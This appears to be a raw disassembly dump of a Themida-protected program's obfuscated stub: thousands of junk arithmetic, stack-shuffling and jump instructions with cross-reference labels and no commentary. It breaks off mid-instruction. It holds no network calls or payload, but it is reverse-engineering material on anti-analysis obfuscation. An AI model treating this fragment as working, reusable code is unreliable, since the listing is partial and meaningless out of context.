Themida_:0056A38Bj push 17D9h jmp loc_56CBE4 ; --------------------------------------------------------------------------- loc_565DE3: ; CODE XREF: Themida_:00565F77j add edx, eax add edx, 43662E9h mov eax, [esp] add esp, 4 add edx, ebx sub edx, 6B636008h push dword ptr [esp] jmp loc_5656C9 ; --------------------------------------------------------------------------- mov ecx, [esp] push 446Dh mov [esp], edi jmp loc_55E4A4 ; --------------------------------------------------------------------------- loc_565E14: ; CODE XREF: Themida_:0056D667j sub esp, 4 jmp loc_5641AD ; --------------------------------------------------------------------------- loc_565E1C: ; CODE XREF: Themida_:0056501Cj mov eax, esp add eax, 4 jmp loc_56180D ; --------------------------------------------------------------------------- loc_565E28: ; CODE XREF: Themida_:0056ED71j not byte ptr [esp+1] pop eax inc ah shr ah, 6 jmp loc_571F58 ; --------------------------------------------------------------------------- loc_565E37: ; CODE XREF: Themida_:0056A08Bj or ecx, 2F9D0540h not ecx sub ecx, 9BD6F0B1h sub edx, ecx jmp loc_571C2C ; --------------------------------------------------------------------------- loc_565E4C: ; CODE XREF: Themida_:00569C18j shr eax, 6 sub eax, 0FF51E27Eh sub ecx, eax jmp loc_56FC96 ; --------------------------------------------------------------------------- loc_565E5B: ; CODE XREF: Themida_:00566B2Bj add esp, 4 push 7693h mov [esp], esi jmp loc_56DCB9 ; --------------------------------------------------------------------------- loc_565E6E: ; CODE XREF: Themida_:0056DB33j mov ebx, esp jmp loc_568D5E ; --------------------------------------------------------------------------- loc_565E75: ; CODE XREF: Themida_:0056A6F0j add eax, 4 jmp loc_56135E ; --------------------------------------------------------------------------- loc_565E7F: ; CODE XREF: Themida_:00569E3Bj mov esi, 800A14h xor edi, esi pop esi mov edx, edi push dword ptr [esp] pop edi add esp, 4 add ecx, 46D22D63h jmp loc_55F8DD ; --------------------------------------------------------------------------- loc_565E9B: ; CODE XREF: Themida_:0055F5F0j push dword ptr [esp] pop edi add esp, 4 push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp] pop esp movzx ecx, ax push 7A2Ah jmp loc_563F94 ; --------------------------------------------------------------------------- loc_565EBF: ; CODE XREF: Themida_:0056BD92j add ebp, 14F44709h mov edx, [esp] add esp, 4 jmp loc_55E498 ; --------------------------------------------------------------------------- loc_565ED3: ; CODE XREF: Themida_:0056958Dj xor al, ch pop ecx sub bl, 71h jmp loc_570158 ; --------------------------------------------------------------------------- loc_565EDE: ; CODE XREF: Themida_:0057041Fj shr ecx, 8 add ecx, 0FFE69A0Bh add ebp, ecx mov ecx, [esp] add esp, 4 push edi mov edi, 75153B51h and edi, 572F771Eh shl edi, 1 add edi, 0FFFFFFFFh and edi, 65371220h dec edi xor edi, 200201FBh sub ebp, edi pop edi xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_569AC4 ; --------------------------------------------------------------------------- loc_565F1C: ; CODE XREF: Themida_:0056F6BEj xor edx, [esp] jmp loc_567836 ; --------------------------------------------------------------------------- loc_565F24: ; CODE XREF: Themida_:0056F340j push eax push edx push 23C6C1Eh mov edx, [esp] add esp, 4 push ebx mov ebx, 3D3A121Ch neg ebx dec ebx jmp loc_5618D6 ; --------------------------------------------------------------------------- loc_565F3F: ; CODE XREF: Themida_:0056328Cj push ecx mov ch, 5Bh sub esp, 4 jmp loc_56E5D3 ; --------------------------------------------------------------------------- loc_565F4D: ; CODE XREF: Themida_:00563CA5j add ebp, ecx pop ecx pop ecx shr ebp, 1 jmp loc_56022B ; --------------------------------------------------------------------------- loc_565F58: ; CODE XREF: Themida_:00570E9Cj mov ebx, 3FED7208h or edi, ebx pop ebx shl edi, 8 xor edi, 6B74DE5Dh sub eax, edi mov edi, [esp] add esp, 4 sub edx, 43662E9h jmp loc_565DE3 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_565F84: ; CODE XREF: Themida_:00567714j pop edx add edi, edx pop edx jmp loc_566D20 ; --------------------------------------------------------------------------- loc_565F8D: ; CODE XREF: Themida_:00563109j mov bl, 75h mov al, bl pop ebx and bl, al mov ax, [esp] add esp, 2 jmp loc_56D10A ; --------------------------------------------------------------------------- loc_565FA3: ; CODE XREF: Themida_:0056FC80j mov ecx, 0E363C90h dec ecx sub ecx, 0E363C8Dh add ebp, ecx pop ecx push ebp jmp loc_562EB6 ; --------------------------------------------------------------------------- loc_565FB8: ; CODE XREF: Themida_:00569D48j pop esp jmp loc_563956 ; --------------------------------------------------------------------------- loc_565FBE: ; CODE XREF: Themida_:00571F63j add esp, 4 or ebp, 5D987A4Bh push edi mov edi, 6A621FE3h jmp loc_56389A ; --------------------------------------------------------------------------- lodsb jmp loc_569487 ; --------------------------------------------------------------------------- loc_565FD8: ; CODE XREF: Themida_:00561C1Ej push eax mov ah, 0Bh shl ah, 4 add ah, 85h mov ch, ah mov eax, [esp] add esp, 4 xor ch, 1Eh sub ch, 0FEh push edx jmp loc_5634AA ; --------------------------------------------------------------------------- loc_565FF5: ; CODE XREF: Themida_:0056C2C1j neg ebp xchg ebp, ebx jmp loc_568A76 ; --------------------------------------------------------------------------- loc_565FFE: ; CODE XREF: Themida_:0055DD6Fj mov ebx, esp sub esp, 4 mov [esp], edi mov edi, 4 add ebx, edi jmp loc_563D96 ; --------------------------------------------------------------------------- loc_566015: ; CODE XREF: Themida_:00565582j dec ecx neg ecx and ecx, 1DBF7471h sub ecx, 0BF18D2D8h jmp loc_55EBD6 ; --------------------------------------------------------------------------- loc_566029: ; CODE XREF: Themida_:0056077Bj push ebx mov ebx, esp add ebx, 4 jmp loc_56B5D4 ; --------------------------------------------------------------------------- loc_566037: ; CODE XREF: Themida_:00560F3Ej pop edx sub dword ptr [esp+4], 4BFE65A4h sub dword ptr [esp+4], 6B3C57EAh add [esp+4], ebx add dword ptr [esp+4], 6B3C57EAh push edx mov edx, 4BFE65A4h add [esp+8], edx pop edx jmp loc_565BEB ; --------------------------------------------------------------------------- loc_566064: ; CODE XREF: Themida_:0056DB66j add esp, 4 add ebp, 36945F6Fh add ebp, esi push edx push 36945F6Fh pop edx push esi jmp loc_56F7A7 ; --------------------------------------------------------------------------- loc_56607C: ; CODE XREF: Themida_:0056CF1Cj mov ecx, 68DB66FEh mov edx, 2A4CFA0h jmp loc_5668B4 ; --------------------------------------------------------------------------- loc_56608B: ; CODE XREF: Themida_:00560AC8j mov edi, 5E874E18h shl edi, 2 and edi, 5AF5BEDh sub edi, 9D3B05D4h jmp loc_56A171 ; --------------------------------------------------------------------------- loc_5660A4: ; CODE XREF: Themida_:00566526j xor edi, [esp] pop esp jmp loc_5718BA ; --------------------------------------------------------------------------- loc_5660AD: ; CODE XREF: Themida_:00567254j mov [esp], edx jmp loc_569719 ; --------------------------------------------------------------------------- loc_5660B5: ; CODE XREF: Themida_:005721BBj pop ebp push 7F2Ch mov [esp], edx mov edx, 4 sub esp, 4 mov [esp], edi mov edi, 0EE93934h sub edi, 0FA0B218Fh shl edi, 8 shl edi, 7 shl edi, 1 jmp loc_56A112 ; --------------------------------------------------------------------------- loc_5660E4: ; CODE XREF: Themida_:0057273Bj add esp, 4 shr ecx, 6 inc ecx push ebp mov ebp, 0E728FDh jmp loc_570786 ; --------------------------------------------------------------------------- loc_5660F9: ; CODE XREF: Themida_:005719F5j mov ecx, 2 jmp loc_56871A ; --------------------------------------------------------------------------- loc_566103: ; CODE XREF: Themida_:00563452j shr byte ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56610C: ; CODE XREF: Themida_:00562F09j pop ebp sub esi, ebx jmp loc_56CB82 ; --------------------------------------------------------------------------- loc_566114: ; CODE XREF: Themida_:0056C0F5j add esp, 4 add esp, 4 jmp loc_56CC7A ; --------------------------------------------------------------------------- loc_566122: ; CODE XREF: Themida_:005664D7j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_562CAB ; --------------------------------------------------------------------------- loc_566139: ; CODE XREF: Themida_:0055F9A0j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], esp push edx mov edx, 4 add [esp+4], edx pop edx pop dword ptr [esp] push ebx mov ebx, esp jmp loc_567FB8 ; --------------------------------------------------------------------------- loc_56615C: ; CODE XREF: Themida_:0056A47Dj or ah, 0BEh jmp loc_56ED6D ; --------------------------------------------------------------------------- loc_566164: ; CODE XREF: Themida_:005708F7j mov ebx, 0C777BC5h sub eax, ebx pop ebx push edi mov edi, esp add edi, 4 push ebp mov ebp, 4 jmp loc_564C1A ; --------------------------------------------------------------------------- loc_566180: ; CODE XREF: Themida_:00568958j sub edi, 1EEF1005h sub edi, 0B13B6F85h sub ebp, edi jmp loc_5702F2 ; --------------------------------------------------------------------------- loc_566193: ; CODE XREF: Themida_:0056C64Cj push esp pop edx push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] mov esp, [esp] push edi mov edi, 2 add esi, edi pop edi jmp loc_56D24A ; --------------------------------------------------------------------------- loc_5661B5: ; CODE XREF: Themida_:0055F073j sub ebx, 5D7D57D6h add ebx, eax add ebx, 5D7D57D6h mov eax, [esp] add esp, 4 push 75B8h jmp loc_5628C8 ; --------------------------------------------------------------------------- loc_5661D3: ; CODE XREF: Themida_:0055E943j push ebp jmp loc_56FCB7 ; --------------------------------------------------------------------------- loc_5661D9: ; CODE XREF: Themida_:00561BCDj push ecx mov ecx, 76E6687Fh jmp loc_56B0BA ; --------------------------------------------------------------------------- loc_5661E4: ; CODE XREF: Themida_:00566299j mov ebx, 7AF53098h sub [esp+8], ebx pop ebx pop ecx mov esi, [esp] push ebx mov ebx, esp jmp loc_56E713 ; --------------------------------------------------------------------------- loc_5661FA: ; CODE XREF: Themida_:00567D03j mov eax, 0C1FD3E78h push esi jmp loc_563345 ; --------------------------------------------------------------------------- loc_566205: ; CODE XREF: Themida_:0056BBF4j add ecx, 6D886CAAh pop edx xchg ecx, [esp] mov esp, [esp] jmp loc_560695 ; --------------------------------------------------------------------------- loc_566217: ; CODE XREF: Themida_:00562EA5j mov [esp], edx push eax push 19CF1B02h push dword ptr [esp] pop eax push ebp jmp loc_56A09E ; --------------------------------------------------------------------------- loc_56622A: ; CODE XREF: Themida_:0056348Aj add al, 0FFh not al sub al, 56h jmp loc_565B61 ; --------------------------------------------------------------------------- loc_566235: ; CODE XREF: Themida_:0056FB4Aj push 0E0Bh mov [esp], ebp mov ebp, 754A665Ch sub ebx, ebp pop ebp push ebp push esp push dword ptr [esp] pop ebp jmp loc_56EE1A ; --------------------------------------------------------------------------- loc_566250: ; CODE XREF: Themida_:0056D5BFj add bl, 0BCh pop ecx add bl, 0A5h add bl, al sub bl, 0A5h push ecx mov ch, 3Eh sub bl, ch jmp loc_56A38A ; --------------------------------------------------------------------------- loc_566266: ; CODE XREF: Themida_:0056F081j sub esi, edx pop edx jmp loc_56A56E ; --------------------------------------------------------------------------- loc_56626E: ; CODE XREF: Themida_:005716A4j mov ebp, 69147F61h jmp loc_5635ED ; --------------------------------------------------------------------------- loc_566278: ; CODE XREF: Themida_:00563FD7j mov [esp], ebp push 2C2C6D64h pop ebp shr ebp, 8 sub esp, 4 mov [esp], edi mov edi, 524D3701h jmp loc_56EEEF ; --------------------------------------------------------------------------- loc_566294: ; CODE XREF: Themida_:0056ECBAj add [esp+4], ecx push ebx jmp loc_5661E4 ; --------------------------------------------------------------------------- loc_56629E: ; CODE XREF: Themida_:0056C384j add esp, 4 xchg esi, ecx push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_560A15 ; --------------------------------------------------------------------------- loc_5662B1: ; CODE XREF: Themida_:00571A8Fj add ebx, 4 push esi mov esi, 4 jmp loc_566D68 ; --------------------------------------------------------------------------- loc_5662C2: ; CODE XREF: Themida_:0055F36Aj push eax jmp loc_571D6A ; --------------------------------------------------------------------------- loc_5662C8: ; CODE XREF: Themida_:00571B97j pop ebx jmp loc_56AA37 ; --------------------------------------------------------------------------- loc_5662CE: ; CODE XREF: Themida_:0055FF03j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_565C3F ; --------------------------------------------------------------------------- loc_5662E5: ; CODE XREF: Themida_:0057143Fj sub ebp, 378878CAh jmp loc_55EA75 ; --------------------------------------------------------------------------- loc_5662F0: ; CODE XREF: Themida_:0056F6D4j shr eax, 5 push ebp mov ebp, 6AC44A1h add eax, 4E473442h jmp loc_560619 ; --------------------------------------------------------------------------- loc_566303: ; CODE XREF: Themida_:00568F7Cj add ecx, 4 add ecx, 4 jmp loc_55EF1B ; --------------------------------------------------------------------------- loc_566311: ; CODE XREF: Themida_:0055E284j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_566316: ; CODE XREF: Themida_:0055E5B6j sub ebx, 7EF83C1Bh pop esi xor ebx, [esp] jmp loc_568E7A ; --------------------------------------------------------------------------- loc_566325: ; CODE XREF: Themida_:00567934j dec dword ptr [esp] pop ebx sub esp, 4 mov [esp], edi jmp loc_56AEEE ; --------------------------------------------------------------------------- loc_566337: ; CODE XREF: Themida_:0055E2F8j mov [esp], edi mov edi, esp sub esp, 4 mov [esp], esi jmp loc_55DF8B ; --------------------------------------------------------------------------- loc_566347: ; CODE XREF: Themida_:00568720j add ebx, esi pop esi add ebx, ecx push edx jmp loc_56781B ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_570AFA ; --------------------------------------------------------------------------- loc_56635A: ; CODE XREF: Themida_:0056B7ACj shl ecx, 2 push ebp jmp loc_561C57 ; --------------------------------------------------------------------------- loc_566363: ; CODE XREF: Themida_:0056D23Dj pop dword ptr [esp] pop esp mov [esp], eax jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56636F: ; CODE XREF: Themida_:0056E74Fj push edx push ax jmp loc_56B96C ; --------------------------------------------------------------------------- loc_566377: ; CODE XREF: Themida_:00568AA6j mov [esp], ebx jmp loc_56FB1F ; --------------------------------------------------------------------------- loc_56637F: ; CODE XREF: Themida_:0055F49Dj pop ebp jmp loc_56D639 ; --------------------------------------------------------------------------- loc_566385: ; CODE XREF: Themida_:005674B9j xor dl, al pop eax push ecx jmp loc_5701D8 ; --------------------------------------------------------------------------- loc_56638E: ; CODE XREF: Themida_:00560A06j add ecx, edi pop edi add ecx, 4 jmp loc_56644F ; --------------------------------------------------------------------------- loc_56639C: ; CODE XREF: Themida_:005615CDj add dword ptr [esp+4], 4BBF21ABh mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_55EE99 ; --------------------------------------------------------------------------- loc_5663B8: ; CODE XREF: Themida_:0056D79Bj xor dh, 1Eh mov cl, dh jmp loc_56F88B ; --------------------------------------------------------------------------- loc_5663C2: ; CODE XREF: Themida_:0056646Ej push 7C8Bh mov [esp], edx mov edx, 7D5B5798h jmp loc_56B8E0 ; --------------------------------------------------------------------------- loc_5663D4: ; CODE XREF: Themida_:005723C0j mov ecx, [esp] add esp, 4 jmp loc_562486 ; --------------------------------------------------------------------------- loc_5663DF: ; CODE XREF: Themida_:005656D0j add eax, 4 jmp loc_568791 ; --------------------------------------------------------------------------- loc_5663E9: ; CODE XREF: Themida_:00564CB0j pop ebx xor edx, 42A7665Ah shr edx, 3 add edx, 277E04EEh add edi, edx pop edx push 1A57h mov [esp], ecx mov ecx, 3F375324h jmp loc_570F6B ; --------------------------------------------------------------------------- loc_56640E: ; CODE XREF: Themida_:0056108Aj imul cx, ax push cx pushf jmp loc_560E5E ; --------------------------------------------------------------------------- loc_56641A: ; CODE XREF: Themida_:00567330j add edx, eax add edx, 313100F6h mov eax, [esp] push edi mov edi, esp jmp loc_563D6E ; --------------------------------------------------------------------------- loc_56642D: ; CODE XREF: Themida_:00567E2Bj pop ebp push esi push ebx mov ebx, 1A4871D4h mov esi, ebx pop ebx and esi, 4A2D09DEh or esi, 73FB48A1h or esi, 762932D5h jmp loc_56DF05 ; --------------------------------------------------------------------------- loc_56644F: ; CODE XREF: Themida_:00566397j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_561131 ; --------------------------------------------------------------------------- loc_56645D: ; CODE XREF: Themida_:00564055j mov ebx, [esp] add esp, 4 xor eax, 431C311Fh xor ebp, eax pop eax jmp loc_5663C2 ; --------------------------------------------------------------------------- loc_566473: ; CODE XREF: Themida_:005714A0j mov edi, esp push ebx push ebp jmp loc_567B5C ; --------------------------------------------------------------------------- loc_56647C: ; CODE XREF: Themida_:0056E82Dj push small 27DFh mov [esp], cx mov cl, 94h jmp loc_56B053 ; --------------------------------------------------------------------------- loc_56648B: ; CODE XREF: Themida_:0056E55Ej add [esp+4], eax jmp loc_5712DD ; --------------------------------------------------------------------------- loc_566494: ; CODE XREF: Themida_:00562A2Bj xor esi, ebp pop ebp sub edi, 55CF1E9Bh add edi, esi push eax push edi mov edi, 16CD7E3Ch shr edi, 7 not edi jmp loc_56093D ; --------------------------------------------------------------------------- loc_5664B0: ; CODE XREF: Themida_:0057258Cj mov ecx, [esp] jmp loc_571409 ; --------------------------------------------------------------------------- loc_5664B8: ; CODE XREF: Themida_:00566585j push ebp mov ebp, 731D1E3Ch shr ebp, 5 xor ebp, 484C6B9Bh push esi mov esi, 42B9065Ch jmp loc_5700A1 ; --------------------------------------------------------------------------- loc_5664D2: ; CODE XREF: Themida_:00564F3Ej mov edi, eax mov eax, [esp] jmp loc_566122 ; --------------------------------------------------------------------------- loc_5664DC: ; CODE XREF: Themida_:00570B24j mov eax, 4 add ebp, 644F4DC8h jmp loc_570477 ; --------------------------------------------------------------------------- loc_5664EC: ; CODE XREF: Themida_:0056C621j sub edi, 3BE36E49h push esi mov esi, 46CE313Dh add edi, esi jmp loc_5612B7 ; --------------------------------------------------------------------------- loc_5664FF: ; CODE XREF: Themida_:0056D461j pop ebx xchg esi, [esp] pop esp mov [esp], ebp push ecx push 6A3E06F8h push dword ptr [esp] pop ecx push eax jmp loc_56CDF2 ; --------------------------------------------------------------------------- loc_566517: ; CODE XREF: Themida_:00564302j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_5660A4 ; --------------------------------------------------------------------------- loc_56652B: ; CODE XREF: Themida_:0055EEA2j mov eax, esp push 1508h mov [esp], ecx jmp loc_561D2B ; --------------------------------------------------------------------------- loc_56653A: ; CODE XREF: Themida_:00569042j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_56C7DC ; --------------------------------------------------------------------------- loc_56654F: ; CODE XREF: Themida_:00569F46j mov ebp, 7E49355Ch sub ebp, 7E493558h add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_566AD8 ; --------------------------------------------------------------------------- loc_56656E: ; CODE XREF: Themida_:00567137j pop esi add ebp, 2 jmp loc_55F376 ; --------------------------------------------------------------------------- loc_566577: ; CODE XREF: Themida_:0056097Fj add edx, eax sub edx, 3D422359h sub edx, 35386438h jmp loc_5664B8 ; --------------------------------------------------------------------------- loc_56658A: ; CODE XREF: Themida_:00567766j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push 6CD7h mov [esp], ecx sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi pop edi pop ecx jmp loc_56EFFE ; --------------------------------------------------------------------------- loc_5665BE: ; CODE XREF: Themida_:0055FAF0j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_560984 ; --------------------------------------------------------------------------- loc_5665D0: ; CODE XREF: Themida_:0056A146j xor bh, 9Dh mov dl, bh pop ebx push bx mov bl, 8Bh sub al, bl pop bx add al, 25h jmp loc_55E289 ; --------------------------------------------------------------------------- loc_5665E5: ; CODE XREF: Themida_:0056741Ej add eax, ebx pop ebx add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_5676B5 ; --------------------------------------------------------------------------- loc_5665F8: ; CODE XREF: Themida_:005689B5j pop edi push dword ptr [esp] jmp loc_569013 ; --------------------------------------------------------------------------- loc_566601: ; CODE XREF: Themida_:0056061Bj sub eax, 4E473442h mov ebp, [esp] push ebp jmp loc_56F2FF ; --------------------------------------------------------------------------- loc_56660F: ; CODE XREF: Themida_:0057038Fj not edi shl edi, 3 xor edi, 8A90B7D4h jmp loc_561C50 ; --------------------------------------------------------------------------- loc_56661F: ; CODE XREF: Themida_:00569E8Bj xor esi, 143F1D9Dh shr esi, 8 sub esi, 43923524h push ebx mov ebx, 4461690Eh add ebx, 38716C72h shr ebx, 2 jmp loc_56E189 ; --------------------------------------------------------------------------- loc_566642: ; CODE XREF: Themida_:0056C2E1j add ecx, 4 add ecx, 4 jmp loc_561E6B ; --------------------------------------------------------------------------- loc_566650: ; CODE XREF: Themida_:00571DC8j push 22EFh mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] pop esp div ecx push 2C7h mov [esp], edx push eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56667E: ; CODE XREF: Themida_:00572625j sub esp, 4 push esp pop dword ptr [esp] jmp loc_560EA2 ; --------------------------------------------------------------------------- loc_56668D: ; CODE XREF: Themida_:00567ABAj mov [esp], edx mov edx, 4 add esi, 5DE832E9h add esi, edx sub esi, 5DE832E9h mov edx, [esp] add esp, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] xor esi, 417D003Bh jmp loc_5606DA ; --------------------------------------------------------------------------- loc_5666C3: ; CODE XREF: Themida_:00564D4Aj pop edx add esp, 4 jmp loc_56850D ; --------------------------------------------------------------------------- loc_5666CF: ; CODE XREF: Themida_:0056DB70j add eax, 76085F61h sub eax, 1459177Dh jmp loc_56AC6F ; --------------------------------------------------------------------------- loc_5666DE: ; CODE XREF: Themida_:005640C0j pop ebx jmp loc_56A2DC ; --------------------------------------------------------------------------- loc_5666E4: ; CODE XREF: Themida_:0056A769j add edi, ebx mov ebx, [esp] jmp loc_56DBD7 ; --------------------------------------------------------------------------- loc_5666EE: ; CODE XREF: Themida_:00564314j pop ebp jmp loc_56883F ; --------------------------------------------------------------------------- loc_5666F4: ; CODE XREF: Themida_:0056A173j pop edi jmp loc_5693DD ; --------------------------------------------------------------------------- loc_5666FA: ; CODE XREF: Themida_:0056A2E6j mov edx, esp jmp loc_56AF26 ; --------------------------------------------------------------------------- loc_566701: ; CODE XREF: Themida_:00563691j push ecx mov ecx, 26C259DDh mov edi, ecx pop ecx jmp loc_56141F ; --------------------------------------------------------------------------- loc_56670F: ; CODE XREF: Themida_:0056F9D8j sub dh, 18h push 2B5Ah mov [esp], eax mov ah, 0EEh add dh, ah mov eax, [esp] add esp, 4 jmp loc_568E5C ; --------------------------------------------------------------------------- loc_566729: ; CODE XREF: Themida_:0056939Cj sub eax, 1D6C1ADFh sub eax, 183153DAh sub eax, 68C7001Dh add eax, 576774ACh sub eax, esi sub eax, 576774ACh push ebp mov ebp, 789B50EDh xor ebp, 105C50F0h jmp loc_562236 ; --------------------------------------------------------------------------- loc_566755: ; CODE XREF: Themida_:00563CADj push ebp mov ebp, 4 sub ebx, ebp pop ebp jmp loc_56B0EB ; --------------------------------------------------------------------------- loc_566763: ; CODE XREF: Themida_:00562300j mov eax, edi pop edi jmp loc_55DAE7 ; --------------------------------------------------------------------------- loc_56676B: ; CODE XREF: Themida_:005715B5j pop esi not esi inc esi neg esi sub esi, 22AB956h mov ebx, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ebx, 20FA6344h jmp loc_569DAB ; --------------------------------------------------------------------------- loc_56679A: ; CODE XREF: Themida_:0056903Bj add ecx, 0E08592Ah add ecx, 12E015ABh add ecx, ebp sub ecx, 12E015ABh sub ecx, 0E08592Ah jmp loc_5715FC ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5667C0: ; CODE XREF: Themida_:005615C7j sub dl, al mov eax, [esp] jmp loc_5706A6 ; --------------------------------------------------------------------------- loc_5667CA: ; CODE XREF: Themida_:00567E32j add ecx, 4 jmp loc_55F868 ; --------------------------------------------------------------------------- loc_5667D5: ; CODE XREF: Themida_:00560E7Ej pop esi add ebx, eax jmp loc_56D324 ; --------------------------------------------------------------------------- loc_5667DD: ; CODE XREF: Themida_:00563FA3j push dword ptr [esp] jmp loc_5709E0 ; --------------------------------------------------------------------------- loc_5667E5: ; CODE XREF: Themida_:0056393Cj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi jmp loc_56D82C ; --------------------------------------------------------------------------- loc_5667FC: ; CODE XREF: Themida_:0056C0BEj mov eax, 5CE02C89h add edi, eax pop eax add ecx, 6003Ch add ecx, edi sub ecx, 6003Ch pop edi jmp loc_5707E3 ; --------------------------------------------------------------------------- loc_566818: ; CODE XREF: Themida_:0057116Fj push ebp mov ebp, 9EA1EB92h jmp loc_568BFB ; --------------------------------------------------------------------------- loc_566823: ; CODE XREF: Themida_:00562D61j mov edx, esp add edx, 4 sub edx, 4 jmp loc_56DDE1 ; --------------------------------------------------------------------------- loc_566833: ; CODE XREF: Themida_:00569132j pop edx sub ebx, 49AE3BD5h xor ebx, 827C598h xor ecx, ebx jmp loc_563696 ; --------------------------------------------------------------------------- loc_566847: ; CODE XREF: Themida_:00563648j add ebx, 53D3525Ah sub ebx, 0DDC1FD5h pop esi jmp loc_563CB2 ; --------------------------------------------------------------------------- loc_566859: ; CODE XREF: Themida_:00568FD1j xor ecx, [esp] mov esp, [esp] jmp loc_56A699 ; --------------------------------------------------------------------------- loc_566864: ; CODE XREF: Themida_:00569827j mov ecx, 41CE40B1h not ecx jmp loc_56BA53 ; --------------------------------------------------------------------------- loc_566870: ; CODE XREF: Themida_:00571C98j add dword ptr [esp], 4 push dword ptr [esp] pop edi jmp loc_570ECF ; --------------------------------------------------------------------------- loc_566880: ; CODE XREF: Themida_:0056EBB4j add ecx, 4 add ecx, 4 jmp loc_56029C ; --------------------------------------------------------------------------- loc_56688E: ; CODE XREF: Themida_:0055E443j push 7B9Ah mov [esp], ebx push 3666h mov [esp], edx mov dl, cl mov bh, dl push dword ptr [esp] pop edx push esi jmp loc_55DF29 ; --------------------------------------------------------------------------- loc_5668AC: ; CODE XREF: Themida_:005658ADj shr esi, 3 jmp loc_56BA38 ; --------------------------------------------------------------------------- loc_5668B4: ; CODE XREF: Themida_:00566086j add edx, ecx pop ecx jmp loc_55D8D5 ; --------------------------------------------------------------------------- loc_5668BC: ; CODE XREF: Themida_:0056E9CBj shl ah, 1 sub ah, 0F6h jmp loc_56D653 ; --------------------------------------------------------------------------- loc_5668C6: ; CODE XREF: Themida_:0056E76Cj sub ecx, ebx pop ebx sub ecx, edi jmp loc_56FE55 ; --------------------------------------------------------------------------- loc_5668D0: ; CODE XREF: Themida_:00570B15j mov esp, [esp] add esi, 4 push ebx jmp loc_55D91A ; --------------------------------------------------------------------------- loc_5668DF: ; CODE XREF: Themida_:0056FE75j mov edx, 1 add ebp, edx pop edx xor ebp, 7BE42E90h sub eax, ebp pop ebp jmp loc_55E506 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_566903: ; CODE XREF: Themida_:00568F23j push 1C2Ch push 6B9h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_56CAD1 ; --------------------------------------------------------------------------- loc_566923: ; CODE XREF: Themida_:00566F0Ej push ecx mov ecx, 4 add eax, ecx pop ecx push 6EFDh jmp loc_56719A ; --------------------------------------------------------------------------- loc_566936: ; CODE XREF: Themida_:005686C5j shl edi, 8 or edi, 34B3519Eh jmp loc_56FF5E ; --------------------------------------------------------------------------- loc_566944: ; CODE XREF: Themida_:00561E12j xchg ecx, [esp] pop esp mov [esp], esi push 6B1B52CDh pop esi sub esi, 1 push esi push eax pop esi mov eax, [esp] jmp loc_55F785 ; --------------------------------------------------------------------------- loc_56695F: ; CODE XREF: Themida_:0056A5E6j push edi mov edi, 0F402B24Dh add edx, edi mov edi, [esp] jmp loc_56AA61 ; --------------------------------------------------------------------------- loc_56696F: ; CODE XREF: Themida_:0056544Bj push ecx mov ecx, 4 add esi, ecx jmp loc_55DFBB ; --------------------------------------------------------------------------- loc_56697C: ; CODE XREF: Themida_:0055F8D8j xor eax, 127D0BC7h push edx mov edx, 0BF51CB64h sub eax, edx pop edx add esi, 10360F60h add esi, eax sub esi, 10360F60h jmp loc_562E52 ; --------------------------------------------------------------------------- loc_56699D: ; CODE XREF: Themida_:00571EE8j add eax, ebp jmp loc_561577 ; --------------------------------------------------------------------------- loc_5669A4: ; CODE XREF: Themida_:00568164j or ecx, 4DFB27DAh shr ecx, 7 push ebx jmp loc_55FB9B ; --------------------------------------------------------------------------- loc_5669B3: ; CODE XREF: Themida_:00564566j pop edx dec esi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi jmp loc_560505 ; --------------------------------------------------------------------------- loc_5669D0: ; CODE XREF: Themida_:0056ADDAj push esp pop esi push ebp push edi mov edi, 61FF14BDh neg edi dec edi push eax mov eax, 2A55A49h xor eax, 5B47315Fh dec eax shl eax, 2 jmp loc_5647BD ; --------------------------------------------------------------------------- loc_5669F0: ; CODE XREF: Themida_:00563F83j sub eax, 37B854AAh push 323Fh mov [esp], eax xor dword ptr [esp], 6E21627Eh mov ecx, [esp] add esp, 4 xor ecx, 6E21627Eh push dword ptr [esp] pop eax add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax shl edx, 1 push 0A0Bh mov [esp], esi push 0FFFFFFFFh push dword ptr [esp] push dword ptr [esp] pop esi push esi mov esi, esp add esi, 4 push 516Eh mov [esp], ebp push ebx push 2BBEh mov [esp], 